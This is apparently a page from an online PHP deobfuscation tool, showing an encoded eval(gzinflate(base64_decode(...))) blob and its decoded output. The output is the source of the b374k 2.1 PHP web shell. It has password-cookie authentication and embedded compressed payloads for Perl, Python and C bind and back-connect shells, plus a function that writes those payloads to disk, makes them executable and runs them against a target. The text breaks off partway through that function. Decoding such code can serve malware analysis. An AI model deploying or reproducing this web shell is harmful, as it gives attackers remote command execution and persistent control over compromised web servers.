Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("?>".gzinflate(base64_decode("7f2HmtvI0SgMX4HvgS+PfktjjoTIgNVKPiABZoI5gLY/PcgAEYkM+vj..

Decoded Output download

?>b'<?php
 error_reporting(0); @set_time_limit(0); $s_name = "b374k"; $s_ver = "2.1"; $s_title = $s_name." ".$s_ver; $s_auth = false; if(strlen(trim($s_pass))>0){ if(isset($_COOKIE[\'b374k\'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE[\'b374k\']))) $s_auth = true; } if(isset($_REQUEST[\'login\'])){ $login = strtolower(trim($_REQUEST[\'login\'])); if(strtolower(trim($s_pass)) == md5($login)){ setcookie("b374k",md5($login),time() + 3600*24*7); $m = $_SERVER[\'SCRIPT_NAME\']; header("Location: ".$m); die(); } else{ setcookie("b374k",$login,time() - 3600*24*7); $m = $_SERVER[\'SCRIPT_NAME\']; header("Location: ".$m); die(); } } } else $s_auth = true; $xback_pl ="dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gGvlATfOgl9T/Rb2wQJfNsGUcDFMzccO94Y+JVTa1BqhSvoIg3SW/vHy6f9Kbl4kePjaZlXQtCGaiiVJzhQ8VHux2qKWAXhODikbm+Kduw1BeboaA6bngj1GFOlARXnGimHVZbVjaAh6pqh9qV9vU4S6JZnI/Q8qaYLsxgFkWWp/Fkrum2eZReccag+gN0Jx6N8hYYzvLr6WKE3KuLrtE3krv8hBOn6T+n+/T48AvMIWsuocP3lWb2pQZp+Q0="; $xbind_pl ="bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXubGBH9cNkzhZR2AdvSv2tZsE+GaVnl3AEBw5sAF+5sg8cH7bEmk1YFsX5IkmzwDLQ9f6tT9YtApPFEyr9ed1IJQtZBQ+ouvf9m1g+oz1URT10fNJ2oM3cweI0n8RR5g5YEk5zlqXRaO5++x14f4eSo02xaWRzI6gxozJ+WZsGLJnlxqpbsCRPowsWjcbj1NWzEr16qREDL8uyybmwfw/vTmKD5qP4yvn3o4q3CoXucLgrA9VBvjzyCnUYZEOWRYF6jDCJY5c5XcY926p5Gaxk8+QYpHOFSyGkAiNSMOH2SlxxgSUYWBtljQJYNp7ELj0amH70R0wuMpce/1WjNP2l4isWX+f8b5Wikvo+hjUoV7Dvky3ZfgI="; $xback_c = "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQEaJlraLv4+32FTzWlYINmw1i9oxa8bM6YzoQEI6QDWM43SqKE9LCnOWl3siLfiOoAjzB6zqZvk/QG2iptHVBaJQ3KrRIojEtW+FbAD+ma8Diy3zrENbe/8tT1kWv1WyBuwYrLK95JOreVi3rBnFhtDbpsRmA5G79ky3QxGb0SmM7ni1k6y9LxHIPrEAUgRJWUnFpUMALozgloY3hwGxPnx5Gr4h7HGA97+LTlWiuNovB8yAgP+F5Y5Ew7Ow93234QDx5es+Rf1vcZ33NaoSheCxmbMiKRv1D9azh000oZ7hp8fP4B"; $xbind_c = "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA/xz0iFDW6pgStCdrDppy+yhSHJ5ZBEOc7++JmlsynQYi30UmpKpkSrR6qSRK0OtGRJhLaUvQxKq18Qo5qGhl7BNlpChIxggeEbmZA11WfA3NlhRkeVaer06v8w9sa6xHrvZGO8q9geDx+XZxz9hHYcg6c93U6xt6vlqenFyWy9VNEEfLSMYy0T5fevXvz0V5dX15uvybZiz6/RHFjLRYJWNp0k13Ogn8A2hJ+wLQ0cXJlP2MrlKSvS668xpwXulhx3GAXmpoFF0wLEVXwYILoVo/aLJoRG7aI9rxn+LFKD4KsXpVoqHJHA3OXZ2kSRho7B7rThCNcSpuCeHb8IWWirrlzvXyB+7wBnGttFdWSda3HnAj9pNCkeUQHmmDlxs0ORwe4uPZdVXswVu4D52f3OkJUu9BxLJJ/qXWfqcNbiuCHfJWrFvaGR2ys/Ak/MZqkgXlfw=="; $xmulti_py = "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoNj8LZ+NdqOrllg/7wcxQurifTKYuR4yEzJbnI4yhc3swmq/nPJbvs96Pwx/xuyWK3fD1f+EHB18SUvKpovimSURQGplyprWXKpLWquaTI24lJ3AFEqnlWVEJyQxMHlg0aqIK10kQQIYnO5COnlTvstxMkbsEd5r/34o9b1dxutSTNnjeU5VYoSXMlJZ58KUXFyVJvOfJYvcNvUDtHDFDOVf5Mm36Ar4C/5ry2DUwLaWnMtVb6t4xxv9UFUsRXxpMHwInlBKcKAsnkYuALQnCHwZovxv3EmgADi0dFHjeoj2Igt8eZ4iPuKnNuWmDrC6nBAjj42m8XA2j//gbbVeyK4bKg0P8ozPTjM3MZSmHgguWpYJIwNgQyzAYs3A9cKWjwAHJ5DAkwRDgd4gnnlPBXYekgaaIGfYdBgoouUq6jTzQ5Y2gf7CC+7/Yh2sznO/Uf2szGV6ub28myTX+6mH/7vlos7ybjWXPOFWrhSbhSaRv45GSRiHYvpKD0vFJ5VpXK2PMuQZNJC6iEse4g2NJbyfy1+RC6OfCcaA7GEj2m0HyeW0qhQwfk/04lVJGaivOafknecwmqrHkUIAA778EA2QDfSjcrCp1gE9MsByX636qD06r4FI/qHo6Iz1m5tYV6kXR45Iw09+M6HseHbshfRD1+T/gG"; $wmulti_c = "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"; $favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII="; $style = "tVbbitswEP0VwVJoYR18SdNd52kp9AtKX4tsybFYWTKysknW9N9ryVI0sZ3sFrbWS+KM5nLOmZkUkpx6VODyeafkXpD8LrbPFlVS6KhjrzRPkvbovle4YfyU/8S1bPD9L6oIFvj+STHMt6iUXKr8rqqqLfqD7hrMxKXrxD5b1GJCmNjlaXtED8Z31MjXqJCKUBUpTNi+y1ESm18WXx4Y0XWexPEnG6imeLDpUYPVjok8DgGGj5oedYQ524mc00qDC0iTK3eCSZ30AIjURgeG4XZ0oMUz05FWWHSVVE2OlNRY089Rkq2yb4Tuvrg6b5vA2Aj3AFSHa3i3/v6QPf1wJRJaSoU1kyIXUlBjuTKOmKhk72E0COQDm6iTnBF09uDq2MDyDDnxcBL71nnTBe8n8Pv3HdIDBzVlu1rn6dpceqFKsxJzh3/DCOFjZjt8wvdo9WJom1Rj4T6MbgrJibW3hh+GMadaD2h0LS5dpaNgqdgvC9bzjAwoQ2nIXVmZKw1D/Rm1tZd0kMaEQeg/fTRn+z5Cl7L+MEiWOnC90IDri8LzWlpmYE3Zxpxbqb2d2UU/rJho9/p1kEurZNPq4QN9wbyUhC6zNaYMezoFlRRSa9nALsgezZlPvFnruQT6ZY2GpGCDuIbIUtqAYoq97mfxLmp5NGemjLMQATewlNQ+YzrHdrg6yQbKNIZmZqxcnSPexgzMqyj60OfxOPYBZ4JGt6aClu1lkDp0U+a7CQIuBqWYdXPRSLO6h2m0pM7kwRxr2NGm2IsT6xFhXcvxyRUc5nvo4WE6KNrt+cDaP+6qOUeey9nIgFCNU3dJ3U4RGGMgBwv2yGhrOJ+QYKRbt2YVII0LfkUUifExZg0vkP5WHqV9gpONq2b7tlJgkPreEr9E1WKz+Yt12sMVr4zVRSd/BcM4i91OiyfQluYAICwGk3m7meBiIl8t0XMM7MPe9pCZvcbooWJTQgCtrlHfg6X3ZRmDW3x9c/p5D1e6xHstB0ip0MGzmVlndTWnQh7/Q28k031q8QhiHwNbLhb+yQXL60TZJ7ha+oOjut+++YPr5PZOAX4rKbUZQ3OZAm+b85QbZbukwBQspcD7Xw=="; $sortable_js = "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"; function swd($p){ $ps = explode(DIRECTORY_SEPARATOR,$p); $pu = ""; for($i = 0 ; $i < sizeof($ps)-1 ; $i++){ $pz = ""; for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR; $pu .= "<a href=\"?d=".$pz."\">".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>"; } return trim($pu); } function rp($t){ return trim(str_replace("<br />","",$t)); } function cs($t){ return str_replace(" ","_",$t); } function ss($t){ if (!get_magic_quotes_gpc()) return trim(urldecode($t)); return trim(urldecode(stripslashes($t))); } function ssc($t){ if (!get_magic_quotes_gpc()) return $t; return stripslashes($t); } function rs($s_win, $d, $type, $sc, $target){ $result = ""; $fc = gzinflate(base64_decode($sc)); $errperm = "<p class=\"rs_result\">error: permission denied. check current working directory permissions</p>"; $errgcc = "<p class=\"rs_result\">error: can not compile using gcc</p>"; if($type == "xbind_pl"){ $fname = "b374k_bind.pl"; $fpath = $d.$fname; if(is_file($fpath)) unlink($fpath); if($file=fopen($fpath,"w")){ fwrite($file,$fc); fclose($file); if(is_file($fpath)){ $res = exe("chmod +x ".$fpath); $res = exe("perl ".$fpath." ".$target); } else $result = $errperm; } else $result = $errperm; } elseif($type == "xbind_py"){ $fname = "b374k_bind.py"; $fpath = $d.$fname; if(is_file($fpath)) unlink($fpath); if($file=fopen($fpath,"w")){ fwrite($file,$fc); fclose($file); if(is_file($fpath)){ $res = exe("chmod +x ".$fpath); $res = exe("python ".$fpath." ".$target); } else $result = $errperm; } else $result = $errperm; } elseif($type == "xbind_bin"){ $fname = "b374k_bind"; $fpath = $d.$fname; if(!$s_win){ if(is_file($fpath)) unlink($fpath); 